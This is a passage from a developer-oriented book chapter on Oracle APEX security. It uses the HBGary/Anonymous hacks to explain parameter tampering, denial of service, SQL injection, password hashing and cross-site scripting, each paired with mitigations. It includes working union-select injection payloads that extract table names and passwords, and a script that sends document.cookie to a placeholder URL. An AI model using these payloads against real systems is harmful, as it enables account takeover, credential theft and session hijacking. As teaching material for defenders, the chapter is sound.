Throughout 2009 and 2010 WikiLeaks published nearly a half-million sensitive or classified US Government documents. The story of how WikiLeaks obtained these documents and the subsequent chain of events, from Denial of Service (DoS) attacks to social engineering, reads like a technology hacking mystery novel. Events are still unfolding, but a deeper look at the techniques, technology, and policies involved will enlighten anyone interested in how sensitive data can be compromised or even altered. As far as I know, none of the systems involved in these events used Oracle Application Express, but the same techniques, combined with poor policies, could certainly be applied to APEX or virtually any digital technology.
After the terrorist attacks of September 11, 2001, the US Government recognized that its intelligence community was fragmented and there was little sharing of information between agencies. In response to this, much more data flowed between agencies, and many more people had access to intelligence systems. This allowed a US Army private access to sensitive data, which later appeared on WikiLeaks. Still unknown assailants used a variety of techniques to block access to the WikiLeaks websites and many organizations blocked their systems from processing donations to WikiLeaks or hosting WikiLeaks content. At least three of these, Amazon, MasterCard, and Visa, were in turn targeted for Denial of Service attacks, shutting down their systems and disrupting Internet traffic throughout the world. These DoS attacks were attributed to the Internet group Anonymous, considered by some to be Internet freedom fighters and by others Internet vigilantes. A well-respected Internet security firm, HBGary, indicated that it had uncovered the identities of Anonymous members. Within days the website of HBGary had been hacked, the Twitter and email accounts of HBGary employees were hijacked, and ancillary systems were compromised.
This chapter will use the WikiLeaks story as a backdrop to explore how the same or similar techniques could be applied to an APEX environment. More importantly, this chapter will identify how to mitigate these threats. The hacking of HBGary demonstrates a more difficult challenge, though: knowing how to mitigate the threats is not sufficient. HBGary was likely aware of all of the techniques used against it, lectured and published on the topics, but did not implement many of the precautions in its own environment. Ensuring an organization follows best practices is a key element to any security strategy and perhaps the biggest challenge of all.
I have intentionally chosen a well-known security story that is not specific to Oracle Application Express to demonstrate that security threats transcend the development tool or infrastructure platform. The Ars Technica website (http://arstechnica.com) provided an extensive account of the methods used by Anonymous to hack HBGary systems. Little in the account discusses specific languages or technologies; the focus is on higher-level techniques.
The Internet is an open architecture with well established protocols. Standards-based HTML and JavaScript provide an easy flow of information renderable by browsers from multiple vendors. It also provides a plethora of tools available to users and developers to improve productivity and debug code. These same tools, and others with a more nefarious design, can be used by hackers to manipulate browser-based applications, viewing and inserting data never expected by developers. Throughout this chapter I will make use of two such extensions to the Firefox browser: Web Developer and Tamper Data.
Web Developer and Tamper data both allow a user to alter the content that the browser sends to the server, but these tools are not required—they just make the job easier. The earliest browsers had the ability to display content retrieved from a server or from the local file system and to save that content to the file system. Once saved on the file system, an end user can manipulate the content with an editor of their choice and redisplay it in the browser. Once the content is changed, the only challenge is to send the changes back to the server. A typical table update form (without delete) from an APEX application, as shown in Figure 8-1, would have the following HTML source (with large sections removed for readability):
. . . <html lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:htmldb="http://htmldb.oracle.com"xmlns:apex="http://apex.oracle.com"> <head> <title>Form on DEPT</title> . . . </head> <body > . . . <form action="wwv_flow.accept" method="post" name="wwv_flow" id="wwvFlowForm"> . . . <input type="hidden" id="P6_DEPTNO" name="p_t01" value="10" /> <label for="P6_DNAME" tabindex="999"><a class="optional-w-help"href="javascript:popupFieldHelp('10894853228254719214','1943448013339521')"tabindex="999">Dname</a></label> <input type="hidden" name="p_arg_names" value="10894853228254719214" /> <input type="text" id="P6_DNAME" name="p_t02" value="ACCOUNTING" size="32" maxlength="14"class="text_field" > . . . <button value="Apply Changes" onclick="javascript:apex.submit('SAVE')"class="button-default" type="button"> <span>Apply Changes</span> . . .
A user could easily change a button action, for example from SAVE to DELETE, by simply editing the HTML in an editor:
<button value="Now This Deletes" onclick="javascript:apex.submit('DELETE')" class=
"button-default" type="button">After loading the edited page from the file system into the browser, clicking on the "Now this Deletes" button would post the DELETE action—but in this case, the browser would try to post the action to the file system because that is where the file originated. HTML provides an override to this default behavior, though. Adding a base href tag instructs the browser to treat the page as if it had originated from the location defined in base href tag. <base href="http://apex.oracle.com/pls/apex/"/> instructs the browser to treat any relative action (not qualified by a host name) to send that action to http://apex.oracle.com/pls/apex/. Hence, if the user edits the source as follows, the browser will send all actions back to the original server, not the file system.
<head> <base href="http://apex.oracle.com/pls/apex/" /> <title>Form on DEPT</title> . . . </head>
By combining the change to the button action with the base href tag, the user can initiate an action that was not provided by the page.
Tamper Data takes the effort out of this action by providing a user interface that shows all data that flows from the browser to the web server. The interface allows the user to manipulate this data and insert additional data elements. After invoking Tamper Data and Selecting the Apply Changes button on the update page above, Tamper Data displays the screen shown in Figure 8-2.
The user can simply change SAVE to DELETE and click the OK button. Editing the page's HTML source and using Tamper Data to change SAVE to DELETE has the same end result: the row is deleted. This demonstrates a key point when developing web applications. The server-side processes must handle all security and logic, even if the client side (browser) is also doing so. An end user has complete freedom to post any data, imaginable or not, back to the server. Tamper Data often provides an improved user experience to handle some validations client side, but those validations should be rechecked server side as well. While there is a perceived connection between rendering (for example, hiding the delete button) and processing (doing the delete), the server-side processing is ultimately responsible for all validations and security.
Web Developer has a variety of additional features, but it also allows the user to view and update content of the page that would otherwise be hidden. Figure 8-3 is a standard APEX-generated screen.
By right clicking and invoking the Web Developer utility, the screen can be set to Display Form Details. Figure 8-4 shows the image of the screen after invoking Web Developer.
Figure 8-4. Web Developer has exposed several hidden fields.
As with Tamper Data, the user can edit any of this data and post it to the web server, but it does so with the fields exposed within the screen. Both tools provide developers with these and other powerful troubleshooting capabilities. I use these tools along with Firebug, Live HTTP Headers, and several others every week for legitimate development purposes. The tools are not inherently good or evil, but they can be used either way.
As the WikiLeaks story demonstrates, hacking often comes from the inside. An army private was provided authorized access to a system containing vast amounts of sensitive US Government data. The army private may have had access to all of the compromised information. Perhaps the data should have been more compartmentalized, access more audited, or users more vetted. The example demonstrates, though, that any access at all to a system, even with limited privileges, provides a starting point for unauthorized activity.
One afternoon in the summer of 2009 I received an instant message from a friend and the author of a very popular public APEX application. In his development environment, the application had been upgraded from APEX 2.x to APEX 3.2 and had multiple enhancements. He was about to release this update to production and wondered if I could give it a quick look for security vulnerabilities. Anyone on the Internet could access the application and self register to use the application. This access model presents one of the greatest challenges. Anyone on the Internet can get authorized access with only a few clicks. They can create multiple accounts and see how those accounts can interact.
Assessing an application, the infrastructure it runs on, and the policies and procedures that support it requires much more than a quick look. Nevertheless, this was a friend, so I agreed to spend a few minutes looking at it. After all, friends don't let friends release code with security holes. He messaged the URL and I set my stopwatch. Nine minutes later I messaged back, asking if my friend could log in and look something up for me. It didn't take him long to realize that he was not able to log in—his password had changed.
In those nine minutes I had created my own account, recognized how to find other users' underlying user_ids, located the change password screen, and inserted my friend's user_id instead of my own when updating the password. My friend could not log in to his account, but I could. To make matters worse, this account gave me access to administrative screens that typical self-registered users should never know exist, let alone be able to access.
The primary problem in this case was the self-service screen for updating user information. User maintenance screens are a common place to begin hacking attempts. This application used a table to store the username and password. Although I never saw the APEX application code or data structures, the basics are easy to imagine. The system used a table with the following structure:
USER_ID: A primary key generated by a sequence or random numberUSERNAME: A string chosen by the user, e.g., bjonesPASSWORD: A string chosen by the user, hopefully obfuscated in some wayAdditional columns as required, e.g.,
FIRST_NAME, LAST_NAME, EMAIL
This table could be created using the Create Table wizard in APEX (Figure 8-5).
The developer probably used the wizard to create an account maintenance screen on the MY_USERS table (Page 2 in Figure 8-5). There were a few changes made: the password field was changed from Text Field to Password and there was a computation to set the pages user_id item to the user_id of the logged-in user. The computation set P2_USER_ID with the following select statement:
select user_id from my_users where username = :APP_USER
The builder page would have looked like Figure 8-6, with the new computation highlighted.
To be fair, there were certainly other changes, but this provides enough to work with. A key aspect of this was that the application had been built in a version of APEX that had the Hidden item type, but not the Hidden and Protected item type. Hence, P2_USER_ID was still a Hidden item, but not protected from tampering. Running the page gives the screen shown in Figure 8-7.
Invoking Web Developer clearly shows the hidden item P2_USER_ID and its value of 1 (see Figure 8-8).
At this point I could have randomly changed information on any user, but the goal was to find one that might have a higher set of privileges than my own. Fortunately, the application provided a report of all users, with a link to details about the user selected. Naturally, the link provided the user's underlying ID. I assumed my friend might have higher privileges, so I chose his ID and inserted it into the P2_USER_ID field shown above. One last trick was to clear out the p_md5_checksum value found at the bottom of the page (see Figure 8-9).
Figure 8-9. APEX md5_checksum hidden field
The APEX engine uses this value to implement optimistic row locking. If the value is not null, it checks the values of the row to see that the row has not changed since it was last selected. If it has not changed, the update occurs; if it has changed, the user receives an error indicating that the row was changed by another user and to requery. If p_md5_checksum is null, though, the APEX engine updates the row without attempting to check if it has changed.
Version 3.2 of APEX implemented Hidden and Protected items. APEX 4 introduced an additional attribute on some item types to indicate that the item should be protected. Protected items have an additional value on the page that ensures the item cannot be changed prior to posting it back to the server. If a user manipulates a protected item and submits the page, APEX halts all processing and returns a checksum error, shown in Figure 8-10.
Viewing the page with Web Developer shows the extra checksum field that the "protected" attribute adds, as shown in Figure 8-11. The checksum is on the line just following the P2_USER_ID input element.
Figure 8-11. Hidden and Protected item with checksum following P2_USER_ID
Changing P2_USER_ID to Hidden and Protected solves the problem of a user changing another user's record. There are many other options for solving this problem:
An item validation that checks to see if :
P2_USER_IDis correct for the logged in userSetting
P2_USER_IDto Display Only and setting its Session State Protection to Restricted – May not be set from browser (see Figure 8-12)Using a custom function to update data in the MY_USERS table
When the National Transportation Safety Bureau investigates aircraft crashes they generally find that the crash was a result of a series of mistakes, bad judgment, or mechanical problems. Modern aircraft and flying are very safe and there are multiple safeguards. By the time an aircraft crashes, several safeguards have likely failed. Our approach to computer security must take a similar approach.
This single APEX application included functionality for both self-registered users and administrators. The same username and password could access both levels of functionality. The potential for security breaches could be reduced by segregating administrative users and functionality into another application or adding additional authentication factors.
While there were several easy fixes to the specific problem of updating another user's password, a real solution involves a more comprehensive approach to security. Finding the balance between convenience, development costs, and security can be challenging. Some applications and associated data warrant a greater focus on security. Establishing security expectations early on, and coding to those standards, is more effective than attempting to retrofit security into an existing application.
WikiLeaks, Amazon, MasterCard, and Visa all suffered from Denial of Service (DoS) attacks. Unknown assailants attacked WikiLeaks for posting hundreds of thousands of sensitive US Government documents. After WikiLeaks posted the documents, Amazon removed WikiLeaks from the Amazon Cloud servers, and MasterCard and Visa stopped processing donations to WikiLeaks. An Internet group known as Anonymous retaliated against Amazon, MasterCard, and Visa using multiple hijacked computers to flood them with requests, overwhelming their capacity and disturbing the Internet traffic in many areas.
The architecture of web servers and browsers makes DoS both possible and easy to accomplish. HTTP requests are stateless: a web browser makes a request, the web server processes the request, responds with HTML and then the connection is severed, allowing both to continue without maintaining a persistent connection. If a browser moves on to another page, it does not let the web server know; the web server continues to process and respond to the original request. Hence a single computer can rapidly generate huge numbers of requests with little processing overhead, while the server expends significantly more computing power responding to those requests.
Most large scale DoS attacks utilize computers that have been hijacked for this purpose. The owners of these zombie computers often don't know that they are involved in the attacks even after they have occurred. While it may require hundreds of zombies to overwhelm MasterCard or Visa, a single desktop computer can typically generate sufficient requests to impact a typical departmental or medium-sized business server.
In many cases, systems experience denial of service without any malicious intent. I recently investigated two such cases in APEX environments. In one case a user had gone to lunch after placing a spiral-bound notebook on the keyboard. The notebook landed in such a way that it was pressing the enter key. The browser window was in the foreground and had a link to an APEX page active. Pressing the enter key caused a request for the page. The spiral-bound notebook, holding down the enter key, fired off requests for that page nonstop until the server was overwhelmed. In the second case, the APEX application had a particular page that made a web service request that was occasionally slow. Impatient users would click on a link to the slow page, wait a few seconds and then start clicking and clicking, stacking up requests for the page.
While most, perhaps all, HTML-generating technologies are susceptible to DoS attacks, the APEX architecture and engine demonstrate a specific set of behaviors when suffering from this kind of attack. Each request to an APEX page is passed from the web server to the database via either ModPLSQL or the APEX Listener. The APEX engine resides in the Oracle database instance, hence a database connection remains open for the duration of the time that the APEX engine generates the page. Each page that is concurrently being built requires an open database connection. Hence, the count of database connections during DoS, intentional or not, will go up significantly. This can greatly impact other applications that may use the same database.
End users and the infrastructure will have varying experiences depending on the architecture supporting the APEX installation. When using Oracle Web Cache in front of the web server, Apache will limit the number of connections from Web Cache to Apache to the value of the Apache directive MaxKeepAliveRequests (default 100). This in turn limits the number of connections from Apache to the database to the same value. Under this circumstance the database will typically run without significant problems, assuming 100 active connections is not sufficient to overwhelm it. In this case, requests will stack in the Web Cache as it waits for a connection to Apache. Eventually these requests will wait beyond the Web Cache max wait time and users will experience a Web Cache error: No Response from Application Web Server (see Figure 8-13).
Without Oracle Web Cache or some other limiting mechanism, though, Apache will continue to establish connections to the database until either Apache or the database is overwhelmed and no longer accepts connections. In this case some users will experience a browser that just waits, while others may get a message that the browser is unable to connect to the web server at all.
In the case of malicious DoS attacks, each request to the server is probably anonymous, that is, it does not have an established APEX session. The APEX activity log will have a list of page requests with associated IP addresses. An APEX administrator can query this log or the Apache access log to determine the IP address of the offender. The same is true for the non-malicious spiral-bound notebook or impatient user. There are additional symptoms in this case, though. Because the request is likely to be for the same page, and for a logged-in user with an established session, the page request will almost certainly be setting some data into session state. Assume the page takes 7 seconds to build. The user puts down a spiral notebook, inadvertently pressing the enter key, and walks away. The first request hits Apache, gets routed to mod_plsql and gets a database session from the pool. Then the next request (.05 second later) comes in to Apache, then to mod_plsql, then gets a different session from the pool (because the first page is not done building), but this page is blocked by the update of the wwv_flow_data session state from the first page request. Now repeat this every twentieth of a second, and in 7 seconds there are 140 open sessions to the database, all being blocked by that first one. Before long this will cause a great number of sessions to be blocked by a single statement, the statement updating wwv_flow_data session state:
UPDATE WWV_FLOW_DATA SET ITEM_VALUE = :B6 || ':' || :B5 || ':' || :B4 || ':' || :B3 WHEREFLOW_INSTANCE = :B2 AND ITEM_ID = :B1
And each of the blocked sessions will have the same session client_identifier, which will include the username and APEX session ID of the user flooding the system with requests. The following query will give you a list of active sessions by user and session:
select client_identifier, module, count(*) ct
from v$session
where username = 'APEX_PUBLIC_USER'
and client_identifier is not null
group by client_identifier, module
order by ct descFigure 8-14 indicates that the user ANIELSEN has 22 database sessions. This user is probably inadvertently causing a denial of service attack by clicking in frustration or by having the enter key continually pressed.
While a DoS could be a malicious attack, this form of DoS is typically caused by a frustrated user accessing a page that is slow to respond. In addition to poorly coded queries, a common cause for a slow responding page is that a user is trying to update or delete a locked row. By default, APEX automated DML processing, the process created by the Form wizard, attempts to lock a row before updating or deleting it. If the row is currently locked, APEX will wait indefinitely for the lock to be released. In many cases, after the row lock is released, the user will then be presented with the MD5 checksum error identified above because the row was updated by another user. Many client-server technologies, such as Oracle Forms, utilize pessimistic row locking—when a user begins to update a row on the screen, the row is locked and the lock is not released until committed or rolled back. If the user goes for a cup of coffee before committing, it could be a long wait. If APEX attempts to lock the row, the APEX user will wait until the browser times out, the other user gets back from his coffee break, or the APEX user decides to try again—thereby issuing another request to update the same row.
Denial of Service is a particularly challenging problem to fix. DoS attacks bring down large, sophisticated corporations with vast server resources. The best way to guard against an impatient user is to develop pages that build quickly, using good SQL and good application design. Another option is to use JavaScript to disable a link after it has been clicked. Many modern firewalls and content switches can detect a DoS and block traffic from the offender to the web server. There are several Apache configurations that can reduce the impact of DoS attacks and at least two third-party Apache modules that will watch for floods of requests from a single host. Perhaps the most valuable information is to know how to identify a DoS when it is happening and how to identify the computer and user. In the case of a corporate application, a phone call to the user may be sufficient.
For a locked row, though, there is another option. APEX provides a feature to override the default "Wait Forever" behavior. By creating an application or page item named APEX_DML_LOCK_WAIT_TIME the developer can dynamically control the behavior of the automatic DML process. If APEX_DML_LOCK_WAIT_TIME_ is set to null, the automatic dml process will wait forever; if 0 (zero), the process will raise an error immediately on a locked record; if greater than zero, the processes will wait that number of seconds for the lock to free before raising an error. See the APEX online help for more details on APEX_DML_LOCK_WAIT_TIME and a related parameter FSP_DML_LOCK_ROW.
After HBGary indicated that it was on the trail of Anonymous, one of Anonymous's first steps was to find a SQL Injection vulnerability in the HBGary website. There are many open source scanning tools that can scan a website for vulnerabilities. These tools are generally intended to be run by the owner of the site in an effort to secure it. High quality firewalls can often detect such a scan before it completes, but not always. These firewalls can be expensive and, though they may prevent someone discovering a SQL Injection vulnerability, they don't protect against it once it is discovered.
In the early days of database-driven websites few people thought about SQL Injection. Up until this point most SQL run against the database was very controlled and the statements came from purpose-built applications with proprietary interfaces. Users were unlikely to be able to bypass screen edits and enter data that the developer never expected. Some technologies were very prone to the vulnerabilities, while others were by nature almost immune.
SQL Injection is simply adding additional SQL to a statement, changing the way it runs from the way it was intended to run. Consider the following SQL statement:
select user_id from my_users where email = :P_EMAIL
This statement uses a bind variable, :P_EMAIL. If you run this statement in Oracle SQL Developer or the APEX SQL Worksheet you will be prompted for the value of :P_EMAIL. The tools recognize this as a bind variable and present the database with the SQL Statement and the value of :P_EMAIL. Many old web development tools, and even some more modern tools, take a different approach. These tools build up a query string and present it to the database. Consider the pseudo code below:
declare input string pEMail
declare string sQuery = "select username from my_users where email = '" + pEMail + "'"
declare array aResults
open database connection
execute sQuery store results in aResults
for i in aResults loop
print aResults[i]
end loop
close database connectionThis seems like a reasonable approach to having a programming language that is not database specific execute a SQL statement and get the results. The pseudo code above takes an input of pEMail and dynamically builds a SQL statement to return USERNAMEs associated with the given email address. Given an input of pEMail = [email protected], the resulting SQL statement would be select username from my_users where email = '[email protected]'.
PL/SQL can accomplish the same task using execute immediate, though it is more difficult than typical PL/SQL.
create or replace procedure findUsers(pEMail in varchar2) as
TYPE NameList IS TABLE OF VARCHAR2(256);
UserNameList NameList;
begin
execute immediate 'select username from my_users where email = ''' || pEMail || ''''
bulk collect into UserNameList;
for i in 1..UserNameList.count loop
-- htp.p is equivalent to dbms_output.put_line
-- htp.p output can be viewed in a web browser
-- and in SQL Developer by enabling OWA Output
htp.p(UserNameList(i));
end loop;
end;Both the pseudo code and the PL/SQL dynamically build a SQL statement, execute that statement, store the results and print them out. Given an input of pEMail = [email protected], the results are as expected (see Figure 8-15).
The problem arises when a user inputs an unexpected string, for example execute findUsers(pEMail => 'abc'' union select table_name username from all_tables --'),.
This input provides a very different result (Figure 8-16).
The SQL statement that results from this input is
select username from my_users where email = 'abc' union select table_name username from all_tables --'
This clearly has a very different output, listing every table in the database. Of course, substituting user_tables would provide just a list of tables within this logged-in schema. Looking through the list of tables above, a hacker would have a fairly easy time constructing the following input:
execute findUsers(pEMail => 'abc'' union select password username from my_users --'),
In essence, that is what Anonymous did with the HBGary website. Anonymous was able to get a list of every username and password with access to the HBGary site. The passwords were hashed; as we will discuss later, that was merely a small hurdle.
There are many commercial off the shelf (COTS) content management and website building tools available. HBGary used a custom developed content management system for their site. This drives two questions:
Are COTS products more secure than custom developed applications?
Are proprietary systems more secure than open source systems?
Naturally, the questions could be formed in the reverse:
Are custom developed applications more secure than COTS products?
Are proprietary systems more secure than open source systems?
There is little agreement as to what is more secure, with valid arguments on both sides. Most organizations will require custom, COTS, and open source solutions within the enterprise. Hence, determining which is more secure is less important than understanding the vulnerabilities of each.
COTS products are presumably developed by professional software developers, rigorously tested, with patches provided on a regular basis. On the other hand, once a vulnerability is discovered and published, every installation of that software is a target until a patch is released and applied. Later in our story of WikiLeaks, HBGary, and Anonymous, we will discover that Anonymous also exploited a known bug on an unpatched operating system. Applying security patches on products is critical to enterprise security. This may seem obvious, but http://www.ie6countdown.com/ shows that, as of early 2011, 12 percent of the world continues to use Internet Explorer 6. Internet Explorer 6 has a variety of known bugs and yet a surprisingly high percentage of users continue to use it and corporations continue to specify it as a corporate standard.
On the side of custom applications, hackers are more likely to target and publish flaws with widely-used applications than a system only installed in a single location. Custom applications may not have the same rigor in testing or development standards, and some development tools are more likely to introduce flaws such as SQL Injection than others. Understanding the security implications of the chosen technology is critically important.
Open source solutions, or any solution in which the source code is available, poses additional challenges. While having the source available provides the opportunity for more developers to fix vulnerabilities, it also provides the opportunity to scan the source for flaws. In the PL/SQL example in the previous section, our findUsers procedure could have been written without a SQL Injection flaw. For example:
create or replace procedure findUsers(pEMail in varchar2) as
cursor c1 is select username from my_users where email = pEMail;
begin
for c1Rec in c1 loop
htp.p(c1rec.username);
end loop;
end;This code is much simpler, much more secure, and runs faster. If the findUsers procedure were published, along with thousands of other lines of code, a potential hacker could simply search all of the code for the string "execute immediate" and quickly find this flaw. If this source code were wrapped or otherwise not available, along with thousands of other routines, a hacker would have to test each individual routine for SQL Injection—a significantly more difficult task.
An APEX developer has to try fairly hard to open a SQL Injection vulnerability, but it is certainly possible. There are two main causes of SQL Injection in an APEX environment: the use of "execute immediate" and the SQL report type "SQL Query (PL/SQL function body returning SQL Query)".
Execute immediate allows a developer to build a string and then execute it as SQL or PL/SQL. This feature can be very powerful when used diligently, but very dangerous as demonstrated above. APEX does not build execute immediate routines, but it allows developers to utilize any SQL or PL/SQL construct available within the database, including execute immediate and other methods of dynamically constructing PL/SQL. A common feature within websites is "type ahead." APEX recently introduced this feature natively, but a common implementation prior to version 4 was to create a generic routine that would accept a table, column, and discriminator. One common implementation found posted on the Internet included this code:
'select ' || column_name || ' from ' || table_name || ' where upper(' || column_name || ')
like upper(''' || discriminator ||'%'' ) ' ;This clearly allows for SQL Injection. The post included a warning directly above this line:
-- put some checks here for SQL Injection
'select ' || column_name || ' from ' || table_name ' where upper(' || column_name || ')
like upper(''' || discriminator ||'%'' ) ' ;Despite the warning that it includes a SQL Injection vulnerability, I have seen this code make it into several applications. Any use of dynamic SQL should be tightly scrutinized for SQL Injection. In the case above, where the goal is to provide type ahead, I would recommend creating a separate routine for each required type ahead, using a standard select statement with a bind variable; for example, select dname from dept where upper(dname) like upper(:P5_DNAME) ||'%'.
APEX has a native feature that can lead to SQL Injection if not used correctly. After creating a standard SQL report, the report can be changed to a SQL Query (PL/SQL function body returning SQL Query), as shown in Figure 8-17.
The region source can then be changed to return a query string, as Figure 8-18 shows.
Note
The code in Figure 8-18 makes use of the SQL Delimiter feature. By prefacing a string with q'{ rather than just a single quote ('), all subsequent single quotes are automatically escaped until }' is encountered.
This allows the query to only apply a where clause if P4_LAST_NAME or P4_FIRST_NAME is not null. As coded above there is no chance for SQL Injection. Coded differently, though, there is a vulnerability:
declare
l_q varchar2(32767);
begin
l_q := 'select username, first_name, last_name
from my_users
where 1=1 ';
if :P4_LAST_NAME is not null then
l_q := l_q || q'{ and last_name like '}' ||:P4_LAST_NAME ||q'{%' }' ;
end if;
if :P4_FIRST_NAME is not null then
l_q := l_q || q'{ and first_name like :P4_FIRST_NAME ||'%' }' ;
end if;
return l_q;
end;In this code, :P4_LAST_NAME is concatenated into the string while :P4_FIRST_NAME is treated as a bind variable. Fortunately, APEX uses bind variables in all SQL or PL/SQL it generates, and bind variables prevent SQL Injection. Developers must be cautious not to convert bind variables to concatenated strings.
Earlier in this chapter, I discussed changing a user's password to obtain access to his account. Worse than having your password changed is having it discovered, particularly if you use that password on multiple systems. When Anonymous used SQL Injection to obtain the list of usernames and passwords, the passwords were fortunately obfuscated. Data can be obfuscated in a variety of ways, but generally this falls into two broad categories: encryption and hashing. An encryption algorithm transforms the source string in such a way to be unrecognizable, but a decryption algorithm exists that can decrypt the resulting value, transforming it back to the original. Hashing also transforms the source string so as to be unrecognizable, however, there is no "reverse" algorithm. That is, if f is a hash function and p a password, there does not exist a function f' such that f'(f(p)) = p. In a real example, given a password "tiger", applying the encryption function f(tiger) = ac3xad99d99aa, there does not exist a function that will convert ac3xad99d99aa back into "tiger". Passwords are often obfuscated with a one-way hash function. That's great news, especially if you use the same password in multiple places. Hash algorithms, though, have the additional property that many f(p) may equal f(p') where p != p'. That is, two different passwords may generate the same hash: f(tiger) = ac3xad99d99aa and f(leopard) = ac3xad99d99aa.
Unfortunately, a great deal of effort has gone into cracking passwords. Rainbow tables are pre-computed solutions to common hash algorithms and are readily available. Consider Table 8-1, in which both tiger and kitten have the same hash value.
With this rainbow table a hacker could quickly determine that ac3xad99d99aa corresponds to both tiger and kitten (and possibly hundreds of others). The hacker could use either tiger or kitten to log into the system from which the encrypted passwords had been stolen, even if neither tiger nor kitten were the user's actual password. The key is that they produce the same hash as the real password. Both tiger and kitten could be used on any other system that uses the same algorithm but, unless tiger or kitten were the actual password, they would not work on a system with a different algorithm. This is a key point about passwords. Rainbow tables tend to have precomputed values for common strings. If you use an unusual password, a rainbow table will not find your password, though it may find another password with the same hash. This will allow the hacker access to the initially hacked system, but not to another system utilizing a different hash algorithm. Returning to our example, assume John Doe (username = jdoe) has an actual password of tlig4rkitU8 and that this password has the same hash as tiger and kitten in jdoe's web content management system. If the web content management system is compromised, a hacker will determine that jdoe's password is likely tiger or kitten, and will be able to log in to the system with the username jdoe and either password (tiger or kitten). If John uses the same username and password for email (jdoe/tlig4rkitU8), and the email system uses a different algorithm, the hacker will not be able to log into John's email. Of course, if the email system uses the same algorithm, both kitten and tiger will work. Clearly, a strong password is preferable.
Note
Most hash algorithms have a seed (or salt) value. Changing the seed value changes the resulting hash.
While this applies to virtually any system, it is clear that APEX applications must consider how best to protect passwords. Passwords should always be encrypted. Whenever a workspace is created with demonstration objects, APEX creates the function custom_hash.
create or replace function custom_hash (p_username in varchar2, p_password in varchar2) return varchar2 is l_password varchar2(4000); l_salt varchar2(4000) := 'S5X18087B0GXG7AN65M5UXPLFPS5DB'; begin
-- This function should be wrapped, as the hash algorithm is exposed here.
-- You can change the value of l_salt or the method of which to call the
-- DBMS_OBFUSCATION toolkit, but you must reset all of your passwords
-- if you choose to do this.
l_password := utl_raw.cast_to_raw(dbms_obfuscation_toolkit.md5
(input_string => p_password || substr(l_salt,10,13) || p_username ||
substr(l_salt, 4,10)));
return l_password;
end;This function is a very good start, but developers must follow the recommendations found in the comments:
I would also recommend first hashing the value of p_username. If a rainbow table did contain a matching string which included the username, it could be an indicator that the username is also the password.
Additionally, consider storing the usernames and passwords in a table not accessible to the parsing schema of the application—or even the workspace. Expose only a function that returns a Boolean to indicate if a username and password pass validation:
-- create the my_users table in schema A, which is not accessible to the workspace -- create this function in schema A -- grant execute on this function to the application parsing schema (schema B) create function user_password_match (p_username in varchar2, p_password in varchar2)return boolean as l_exists number := 0; begin select 1 into l_exists from my_users where username = p_username and password = custom_hash(p_username, p_password); return l_exists = 1; exception when no_data_found then return false; end; / grant execute on user_password_match to schema b /
If there is a SQL Injection vulnerability, the contents of the MY_USERS table will be protected by the underlying database security and will not be accessible to the schema used by the application.
Finally, ensure that passwords are not simple strings. Recall that rainbow tables contain hash values of common strings or likely passwords. There are over 800,000,000,000,000,000 passwords with ten characters. Hash tables can't contain all of these passwords. By choosing a strong password, your users protect other systems that may use the same password. It is impossible to enforce that users select different passwords for different systems, but enforcing strong password policies can minimize the chance the actual password is decrypted. APEX now provides the ability to require strong passwords for the APEX builder users for both the APEX internal admin screens and for individual workspaces. Consider creating similar strong password rules for any application user management.
Key users of the HBGary website, including the CEO, did not select strong passwords and the encryption algorithm was well known with a standard seed. The rainbow table yielded the actual password string. Anonymous was able to log in to the website as a privileged user and change content. With the actual password, Anonymous was also able to log into an HBGary Linux server. The operating system on this server had not been patched for a known security bug, allowing the hackers to elevate privileges of the logged-in account. The elevated privileges provided access to proprietary HBGary content.
The easiest way to get a password may be to simply ask for it. After Anonymous used a rainbow table to decrypt the CEO's password, they logged into his email account with the same password. A review of past emails provided an idea of the CEO's email style and a good idea of who might have passwords to other servers. A quick email from the CEO's email account to a system administrator asking for a root password is all it took to get into yet another server.
Though not involved in the WikiLeaks story, cross site scripting should be mentioned in any article about web security. Cross site scripting involves inserting unexpected Javascript into a page. A browser requests a web page from a server and the server returns HTML, possibly with Javascript embedded. Most web applications require Javascript. A browser has no way of knowing if the Javascript returned with the page is intentionally there or whether it has been injected. It is the developer's responsibility to make sure that malicious Javascript does not show up in the HTML returned.
Consider a report that does not escape data that is selected from a table. If the data in the table is a string containing a Javascript tag, the report will send the data directly to the browser and the script will run. For example, given a select statement:
select address1, address2, city, state, zip, comments from order_address
the comments field is likely fairly long and could contain the string:
<script>alert('hello'),</script>Given a classic report, with the COMMENTS report column "Display As" set to Standard Report Column, the data will not be escaped. The browser will interpret the <script> tag to mean that it should run the included script. The result will look like Figure 8-19.
If there is any possibility of data containing unintended Javascript, the column display should be a type will not run the script. Generally this is Display as Text (escape special characters, does not save state). APEX 4 greatly improved the wizards and page building features to guard against cross site scripting. In virtually all cases the APEX 4 wizards choose item and report column types that escape the data that is returned to the page. Developers still have the ability to change column types to send unescaped data to the browser or to send the unescaped content of an item.
Javascript has access to everything about the browser page that contains it, including cookies, which can be very dangerous. Given the URL of a page and the cookies associated with a page, it is easy to hijack a user's session. That is, if a hacker obtains the URL of a page you are currently viewing, and the cookies associated with that URL, the hacker can insert those cookies into his own browser, go to the URL, and essentially "become" you. The utility Firesheep operates on unencrypted wi-fi networks by sniffing cookies associated with Facebook and Twitter and inserting them into the Firesheep user's browser, allowing the user to become any Facebook or Twitter user on that unencrypted wi-fi network.
The following Javasacript is far less dangerous. It will cause an alert with the cookie values:
<script>alert(document.cookie);</script>
The following Javascript, however, will redirect the browser to another URL, passing along the values of all of the cookies:
<script> window.location = 'http://someurl/' + document.cookie;</script>
While APEX does its best to keep us out of trouble, it is still possible to send unescaped content to the browser. Consider the regions shown in Figures 8-20 and 8-21. In most cases, the two regions have results, as shown in Figures 8-20 and 8-21.
The first region is an HTML region and relies on the APEX engine to render P2_EMAIL, using substitution syntax: &P2_EMAIL. This region escapes special characters. The second region is a PL/SQL region and directly sends the content of P2_EMAIL to the browser using the htp.p routine. This region does not escape special characters. Under most circumstances they display the same content (see Figure 8-22).
If a developer coded the PL/SQL region above, without any restrictions on the content of P2_EMAIL, a user could inject Javascript into P2_EMAIL which would ultimately run on the page. When I first considered this case, I wondered what harm this could cause. If I choose to inject Javascipt into P2_EMAIL, and the Javascript runs in my browser, I am my own victim. But if I can inject Javascript into P2_EMAIL and have it appear in another's browser, that is promising. As developers, we don't always know what other applications might have access to edit data. My application may protect data on the way in, but other applications that can update that data may not. Even if the data is never read from the database, but only rendered from a user's session, there is the possibility of injecting data into another user's session. Simply convincing the user to click on a link can inject data into their session and have unexpected results. Consider the following APEX URL:
